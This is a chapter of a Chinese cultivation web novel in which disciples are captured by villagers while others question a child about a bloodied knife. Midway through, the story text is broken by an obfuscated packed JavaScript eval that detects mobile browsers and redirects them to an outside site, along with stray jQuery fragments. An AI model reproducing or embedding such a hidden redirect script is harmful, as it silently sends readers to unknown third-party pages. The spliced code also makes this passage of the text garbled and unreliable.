25. 有人昏睡,有人探案,还有人思考……

作品:《修仙系统它谋财害命

    风缓缓吹过眼前的田埂,绿色的麦浪顺着风起起伏伏,像是一片绿色的沁人心脾的海,看上去是如此生机盎然,不断向四周扩散出一种极强的生命力。


    风长翼和江无恙的运气显然不太好,他们直直降落在了桃雪村的大本营之中。桃木桌子旁边围了一圈人,就在掉落的瞬间,风长翼似乎听到了“雪果”、“村长”之类的话语。


    风长翼如同轻盈的燕子一样落地,江无恙身上东西多,叮呤哐啷地如同天女散花一般落了一桌:“抱歉,突然到来打扰了。”


    “你们是什么人?怎么进来的。”一个面色黝黑的汉子迅速紧紧按住了已经在隧道的颠簸中不省人事的江无恙,然后将江无恙挟至身前。


    风长翼秀美微微簇起,就要朝着按住江无恙的人动手。


    但是对方和江无恙的距离更近,伸手从衣兜力掏出了一把锋利匕首重重划在江无恙喉咙处,伤口处已经渗出来一道血痕:“认真回答,别耍花招。”


    她暗中思考着怎么回答,但是对方的脾气和素质显然等不到风长翼思考回答,匕首又嵌入一点儿,风长翼皱眉,手掌变拳:“我们只是无意经过,或许不必下手如此粗暴。”


    “我问什么你答什么!不回答我就杀了这个人。”


    风长翼没办法:“我们是偶然掉进来的。是修仙门派的弟子。”


    持匕首的大汉面容黝黑,转头看向了另一个人:“老五,这是修仙弟子……修仙门派可不好得罪啊。”


    被称作老五的人目光狠毒:“修仙弟子大多矜贵,从小娇生惯养的。谁能保证他们不会回来报复。活着从这里走出去的人,可是会泄密的。”


    “即使他们现在不说,他们出去后不说,回到门派中也不会说吗?更何况,现在伤了这些金贵弟子的人,可不是我啊,老六。”


    包含着恶意的声音传到在场中的每一个人耳旁,老六握着匕首的手微微颤抖。


    风长翼十分担心,虽然叫老六的汉子不敢动手,照这种手抖方式,怕即使他没有杀人的心,江无恙也可能要去地狱走一遭了。


    “都沾过那么多的血了,老六你动手时候怎么还手抖呢?”被称为老五的人笑声中带着满满的恶趣味:“既然咱们村的兄弟下不去手,那就只能等兄弟什么时候下得了手的时候再来动手了。”


    “旁边的福子,搭一把手,把这两个人先关在地下的牢笼里。”


    被叫到的福子应了一声,然后朝着风长翼靠近:“不想死人最好就听话点儿!”


    这些都是些凡夫俗子,身上虽然有些功夫在,但是风长翼有信心能一个一个放倒。她的视线担忧地扫了一眼被按在桌上的江无恙,闭上眼后深吸了一口气,关进牢笼里反而更利于逃脱。


    她睁开眼,手已经被一条麻绳捆住了,随后一条黑布蒙住了她的眼睛。


    等到听到牢门上锁的声音后,覆眼的黑带也被她一把扯开。风长翼迅速确认周围的环境,在角落旁看见了江无恙。似乎是怕江无恙因为失血过多死在牢狱中,一块布被粗糙地裹在江无恙的伤口处。


    她自己一向不会拿很多东西,江无恙却恰恰相反,身上大包小包带着一堆东西,显眼又特别,他身上的东西显然都被搜刮走了不少。


    “这些都是宝贝啊!”门外的福子拿着一瓶从江无恙衣服中掉出来的一颗珠子:“卖出去指不定能赚多少钱呢。”


    在牢笼旁边的老六阴沉着脸,没有答话,双眼发直,盯着隧道前的走廊,不知道在想些什么。


    风长翼趁着两人都不注意这边的情况,小心地挪到了江无恙身旁,扯开包裹的乱七八糟的布,然后从储物空间中掏出了一小瓷瓶的药粉。


    她看了一眼药粉,是江无恙曾经误落下的一瓶,她试过后觉得效果不错,就一直留在了身上,现在正是使用这瓶药粉的时间。


    风长翼迅速将药粉洒在尚未愈合的伤口处,就将瓶子收了回去。草垛上,睡得不省人事的江无恙依旧没有反应,她搜寻了许久,但是牢笼中完全没有什么能够用的上的东西。


    风长翼很早之前就认识了江无恙,甚至可以说是青梅竹马,两小无猜。江无恙这个人看起来极其善良,实则也十分傻白甜。为人处世上在近些年的磨砺中逐渐看不出来那种天真。


    但是在近些时日的相处中,风长翼观察到,这个人隐藏的最大弊病似乎依旧根深蒂固——怕鬼。


    平常人怕鬼,只要不讲鬼故事,远离鬼怪相关的问题就能迅速缓和,恢复到正常水平。但是江无恙还需要其他一些物件来辅助:包括但是不限于黄符纸、桃木剑、糯米等……


    如果没有以上的这些东西,江无恙必然会闹腾得众所周知。这完全会打断她的逃跑计划,风长翼灵机一动,她清了清嗓子,敲了敲铁栏杆,问旁边监守的人:“您好,我有点儿渴了,请问能给我们倒些水来吗?”


    老六起身,没过一会儿就端了一杯水递了进来。


    风长翼坐在江无恙身边,透过天空期盼着夜晚到来。


    在另一旁,从暮和方枫佑在村子里逛了大半圈。


    方枫佑见从暮再一次和一个村民擦肩而过:“你是在找人?”


    从暮扫过身旁那人,和绿油油的种满稻谷的田地,再次顺着田埂的地方向前走去:“对。我来的时候听到了一些我很在意的话。”


    方枫佑沉默不语,继续跟在从暮身旁走着。


    就当快要走到尽头时,从暮突然停下脚步,走神的方枫佑险些撞到从暮身上,匆忙收回脚步疑惑地开口:“怎么不走了?”


    从暮盯着眼前的景象:“你看,现在找到了。”


    方枫佑顺着她手指的方向看过去:和旁边绿浪翻翻涌的田地不同,田地上种着的不是树,反而是一排排的果树,几排果树的阴影已经遮挡住旁边的稻苗,照不到阳光的稻苗叶子微微泛黄,就连枝干都比旁边的稻苗矮了几分。


    “这树和村旁的李大娘种在田里的树一模一样,这应该就是能够结出来雪果的树了。”


    从暮来不及解释,就拉着方枫佑一同朝着田埂旁边那户人家走去,却刚好看到了小鹤在旁边除草。


    “小鹤?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788611|174808||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    闻声,一个熟悉的身影就从稻草中抬起了头。从暮定睛一看,正是熟悉的人:“婶婶,这是您家的田?”


    妇女将手中的锄头放下,揩了一把头上的汗:“你们怎么到这儿来了……”


    她四处观望了一下,见周围没有多少村民发现:“小鹤,去把哥哥姐姐领到咱们家好好招待!路上别和其他人搭话!”


    小鹤点头后迅速起身,这回没有伸手去拉从暮,双眸中满满都是惊喜和意外:“哥哥姐姐跟我来吧。”


    她细细的声音中掺杂着些些喜悦:“正好我也搜集了很多故事要将给姐姐听。”


    妇女打断小鹤:“小鹤,娘刚刚和你说什么呢?回屋子里再聊啊!”


    从暮见妇女抱歉地朝她笑笑,主动牵起来小鹤的手:“您家的屋子是……”


    妇女伸手一指田边的一座红色茅草屋:“那边那个就是。抱歉,等我忙完就回去。”


    屋子距离田边很近,没走几步就到了。刚迈入屋子,从暮就感觉到一股清凉。


    小鹤合上门:“哥哥姐姐坐吧,我去倒茶。”


    “小豆丁就乖乖坐着吧,别倒水烫着自己。”方枫佑一把拦住小鹤,然后将小鹤推到了从暮身边:“我去倒水了,就麻烦从师妹搜集信息了。”


    从暮转头:“你一个人能行吗?”


    方枫佑语罢就头也不回地走进了厨房,完全没理会从暮。


    她叹了一口气,大不了就是等一会儿聊完之后,她再进去起灶煮水。


    从暮握着小鹤的手坐下:“姐姐可以先问你这个问题吗,旁边种着雪果的树的田地是哪户人家的啊?”


    “是老五叔叔的。”


    从暮重复了一遍小鹤的话:“老五叔叔没有名字吗?怎么没看见他们白天来地里干活呢?”


    小鹤压低嗓音:“老五叔叔有事儿忙,他是村中的副村长。”


    “村里其他人都说老五叔叔人好,但是妈妈和村长奶奶好像不这么认为,我有点儿害怕他。”


    从暮忽然想起来那片衣角,与其说浮华在家中设置了一个会客厅,更不如说是浮华将家设置在了会客厅旁边,难道副村长可以进入村长家中的会客厅?


    她不动声色地压下心底的疑问,继续听着小鹤说话。


    小鹤把门窗紧闭,凑在从暮耳旁:“姐姐,这件事情我连娘都没说。这是看在你给我报酬我才告诉你的。”


    从暮俯下身,拿出来几块糖递到小鹤手中,还好这回她出门带了不少吃的:“这回能说了吧?”


    “你放心,我除了那个厨房里的哥哥谁都不会说。”


    小鹤拿着糖,有些犹豫,从暮再次开口,甚至十分严肃地伸出三根手指指向天空:“你放心,厨房里的那位哥哥也不会说的。如果泄密的话,那位哥哥就遭受五雷轰顶的酷刑!”


    见到从暮立下誓言,小鹤鼓起勇气开口:“几天前的晚上,我起夜看见老五叔叔在屋前的小溪旁边洗着一把沾血的刀。”


    “但是,老五叔叔家里根本没有养过什么活家畜……”